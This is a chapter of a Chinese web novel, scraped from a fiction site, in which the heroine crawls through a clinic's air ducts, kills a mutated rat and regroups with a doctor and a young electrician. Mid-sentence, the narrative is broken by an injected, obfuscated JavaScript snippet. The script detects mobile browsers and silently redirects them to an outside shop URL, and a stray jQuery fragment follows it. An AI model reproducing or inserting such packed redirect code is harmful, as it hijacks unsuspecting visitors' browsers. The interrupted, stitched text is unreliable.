文趣网 > 其他小说 > 低调的我成了恐怖分子 > 11. 诊所大逃亡5
    畸化鼠。她在脑袋做出此般大胆的假设。

    最讨厌的小型畸化怪,没有之一。

    畸化鼠胆小,喜欢成群活动,遇人即跑,除非是长时间饥饿的鼠群,不然不会主动攻击人。

    落单的畸化鼠除□□外不具备危险性,但鼠群有绝对的威胁,只要一只鼠群中的畸化鼠受到惊吓,会疯狂啃咬其他的畸化鼠,群体中发生大规模互杀事件。

    眼前的落单畸化鼠,可能离鼠窝远,也可能离鼠窝近,一旦引起鼠窝效应,带着□□在狭窄的通风管道中乱窜,单单腐蚀性的□□已令她躲闪不及。

    在通风管道路线探索中,尤达面临了第一困难选择——如何在黑暗中对畸化鼠一击必杀。

    绝对不能让它逃到鼠窝引发鼠窜。

    尤达紧握利剪,一路上她没有松开过它,手汗显然影响利剪的发挥,她眼也不眨地盯死前方,往还未濡湿的衣服片角擦干利剪。

    畸化鼠似乎感应到危机,背上的第三只眼不眨了,嘴里的声音也停下来。

    尤达能想象到,它此刻肯定竖起尾巴,肌肉紧绷地判断她的威胁性。

    把握力度,掷出弧度不能太高,否则会撞到上方的铁皮,她心下提醒自己。

    目标是红光,那是和畸化鼠心脏、头颅一样能立即使之毙命的弱点。

    再等等,等它下一个眨眼的瞬间。

    来了!

    幽幽红光微闪,尤达手中的利剪投出。

    畸化鼠惨嗷一声,尖利声在窄窄的管道中十分扰耳。

    畸化鼠没了声息,尤达仍僵着不动,等了足足几分钟,确认没惊动其他东西,才把双手缩进袖管,扯下短袖垫在身下,蠕动前行。

    看不见畸化鼠的血液溅到哪里,她直接用短袖把畸化鼠包裹严实,把周围都擦拭一遍,避免身体直接碰到。最后布料被打结成团扔在原地,当成路标用了。

    进了几个管道后,适应了黑暗的双眼捕捉到暌违已久的光源,不远处有微微的紫光发出。

    尤达心中一凛,敛气屏息,比之前更加谨慎,直到近了传来人声。

    尤达停驻,这个声音……文医生?

    他还活着。

    她爬至通风口的挡板处,俯下身子,将膝盖抵住冰凉的金属,眼睛贴在透出的光缝处。

    文医生的身影映入眼帘。

    文医生手里攥着半盒已开封的无菌纱布,脚边还放着一个装有瓶装水的急救箱。

    尤达喉咙动了动,她的左脚不方便,而甜寿包还在原地等着,她需要帮手。

    尤达没有嫌弃文医生的意思,她认为他力气微弱,没有阶能,拳脚功夫基本为零,逃跑拖后腿,心理素质不行,除去以上,文医生有一项尤达远远比不上的条件。

    那就是诊所是文医生开的,谁还能比他更熟悉诊所的地形构造?

    文医生在和人说话:“哎,要是这条命能保住,我就雇佣你到诊所当前台,你就不用干那点辛苦的体力活。”

    偷听了有一会儿的尤达,忍不住也开口求职:“你也考虑下我。”

    室内的微弱灯光瞬间暗淡下来,重新归于黑暗。

    文医生小心翼翼地出声试探:“谁?”

    “我,尤达。”

    “靠!有鬼。”

    尤达:“?”

    她听见文医生倒抽冷气的声音,紧接着是他撞翻椅子的响动:“靠!是鬼!这地方哪来的活人!”

    “医、医生,声音好像是从天花板传过来的。”另一道男生声线也好像在打摆子,显然也是被尤达吓住了。

    “是地缚灵,她活着就执着爬下水道,死了鬼魂直接被困住。”文医生果断地说。

    地缚灵是什么?

    “尤、尤达啊,杀人偿命你也该找你爸。”

    “不要咒我。”尤达敲敲隔板,“刚刚不是有灯源吗?被你们关了?”

    “别开!”文医生制止旁边的男人,“见鬼即死没听说过。”

    尤达冷酷地说:“你们再这么躲着,等【以物置钱】的阶能时效过了,大家都得死。”

    房内恢复了几秒的静悄悄,然后紫色的微光亮起。

    文医生的厚镜片闪光:“你竟然有阶能,那你的SD怎么回事?这绝对不可能。”

    尤达轻车熟路地打开隔板,向下扫视。

    另一名说话的男人是皱豆皮,屋内唯一的光源来自皱豆皮手中的伍德氏灯。

    文医生应该是给皱豆皮做完临时的伤口处理,他身上有数不清的绷带和创可贴,烧伤脸更添伤口。

    尤达由衷地对皱豆皮说道:“你还活着,真是太好了。”他可是全场唯一能克制畸化人的人。

    文安康:“难道我不配有一句劫后余生的安慰吗?”

    尤达朝皱豆皮说:“刚刚甜寿包和我在一起,我们靠她【以物置钱】的阶能逃过一劫。”

    皱豆皮那混着西红柿色的烧伤皮和亚健康黄皮的脸色瞬间亮起来,显然欣喜万分:“阿佛洛狄忒!”

    文医生的话音和皱豆皮一起响起来:“不是你的阶能啊?”

    尤达:“什么?”

    “啊……算了。”文安康又解释:“意喻爱与美的女神。阿佛洛狄忒是和你在一起的女人的网名,她是女主播,李阳是她的粉丝,他们的关系超乎你想象的复杂。”

    皱豆皮臊眉耷眼地说:“我真不是绑架犯。”

    绑架犯?

    联想起尤树全的所作所为,尤达脸上瞬间抹上几十道的锅底灰。

    “文医生,我需要衣服,你把白大褂或里面的短上衣借我穿。”

    起初心态恐慌,加上视野不明晰,文安康这才注意到尤达说话时候只微微探头,特意遮掩身上的其他部位。

    李阳好奇地把手中的紫光手电筒照得更近。

    文安康一把抢过,兀自打开其中一个柜门,从中抽出s码的护士服上衣。

    “之前诊所出过两次意外,”他顿了顿,“有护士值班时被情绪激动患者家属扯破过医护服,后来我就多订了些常用尺寸的护士服和白大褂,每个诊室的柜子里都留个两三件应急,没想到今天派上这种用场。”

    他撕开包装袋,仰头看尤达:“方便接住吗?”

    尤达点点头。

    于是文安康把手电筒递给李阳,“伍德氏灯朝地板照,留点小光给我就行。”

    尤达接过护士上衣换上,低头和两人说:“里面太挤,我先试着把脚放下,你们帮我抬着,我再把上半身弄出。”

    在三个的协助合作下,尤达顺利着陆。

    长时间保持警惕的身体变得软塌塌,身体也像汗蒸房刚出来,她这时才有时间揩去眼皮的汗水。

    李阳一下就着急忙碌地问尤达:“阿佛洛狄忒是不是受伤了,之前外面的大动静是你们搞出来的吗?”

    回想早些时间,皱豆皮和甜寿包的相处,再联系现在皱豆皮的关心,这是绑架犯和人质该有的生态位?

    文安康:“我说了,他们的关系比你想象的还有复杂。对了,我看你的左脚不对劲,扭了?”

    “能接吗?”

    “试试,你扶稳我肩膀。”文安康指尖按住尤达脚踝外侧的痛点,突然发力轻旋——“咔”的一声轻响,困恼尤达的左脚堵滞感消失。

    文安康收回手时偷瞥了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919563|213312||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼她的脸,心中越发肯定,这家伙绝对不是单单的痛觉耐于常人。

    趁此时间,尤达向李阳也讨要伍德氏灯,李阳说仅剩一个。

    文医生从抽屉里拿出另外的手电筒,抛给李阳:“虽然手电筒电池耗完,但你不是有阶能吗,你供电,把电压控制在2~4.5伏,伍德氏灯给尤达。”

    普通的照明手电筒能够使用,可尤达更偏向所谓的“伍德氏灯”,照明度低、范围也大大缩小,能让人不会容易成为发光源被敌人发现。

    李阳羞愧地说:“大概多少电流啊?”

    “唔,就用你钳制畸化人的程度,100毫安吧。”

    李阳开始往照明手电筒注入电流,手上显现无数的白色电弧,像小电虫一样攀上手电筒,手电筒不负众望地亮起。

    尤达眼明手快地把光锥朝向地上:“外面的冥币覆盖情况未知,以防万一,别让藏身地被发现。”

    “你们搭把手把我架上去,我去接阿佛,佛……甜寿包。”尤达对文医生说:“你拿纸笔把医院的构造画出来。”

    又对李阳说:“不管你和甜寿包有什么仇怨,先化干戈为玉帛吧。”

    尤达把两人张嘴着想问的一堆疑问堵住:“我们都各自有很多问题,但是现在时间紧促,她一个人呆久了说不定会乱跑。”

    “她是可利用的战斗力。”和两人简略地剖析后,她抓着通风口的边缘,回头又补了句:“画好地图等我。外面没退路,不解决畸化人,我们谁都出不去。”

    话音未落,她已经缩起身子,像只猫似的敏捷地钻回通风管,金属壁上传来“沙沙”声。

    不解使得李阳皱巴的脸更皱:“她说话好特别。”

    “我已经习惯了。”李阳目露复杂,“虽然你是半吊子电工,但画画水平应该比我高,来来,一起把诊所地图弄出来。”

    ***

    回去的路上,尤达感慨,真是计划赶不上变化,最开始的打算,是在下水道摸索出最优的藏身之地,然后带甜寿包一直藏到尤树全离开。

    现在文医生和瘦豆皮还活着,四个人是一根绳上的蚂蚱,或许可以考虑其他更安全的方式。

    争分夺秒,路上还能用最快的时间问清甜寿包和皱豆皮的纠葛,这也是为什么她不选择直接问李阳。

    没想到在距离原房间最近的拐口,伍德氏灯的紫光先一步打到正在艰难爬行的甜寿包。

    “你终于回来了!”

    甜寿包见到尤达,欣喜若狂,身体的动作立即变大。

    两人趴在承重量尚可的锌铁皮上,甜寿包骤然加快的动作,直接晃得身下不锈钢板发出轻响。尤达立刻压着声音低喝:“别动!”

    ——这里离前厅太近了。

    甜寿包也意识到行为的不合理,听话地停下来。

    尤达为难地拧紧眉头。

    她和甜寿包现在是面对面的状态,尤其她还背对文医生门诊室,摆在面前的两条路,一是她倒爬回去;二是让甜寿包倒退,两人回到原通风口,再正面一前一后爬回来。

    突然,她见甜寿包浑身打颤,紧张地咽下口水。

    尤达的身体比思维反应地更快,手上的伍德氏灯啪地一声关闭。

    她谨慎地伏下身子,耳朵贴在底下铁皮,专注倾听。

    这动静……

    “是电锯……他在锯冥币开路。”

    甜寿包在黑魆魆空间内出声,像浓稠化不开的墨水。

    怪不得她会爬进通风口,原来所在的房间距离候诊区最近,哪怕尤达不认为尤树全靠电锯能破开一条路,反而会堆积堵路,但是甜寿包应该是听到动静被吓到。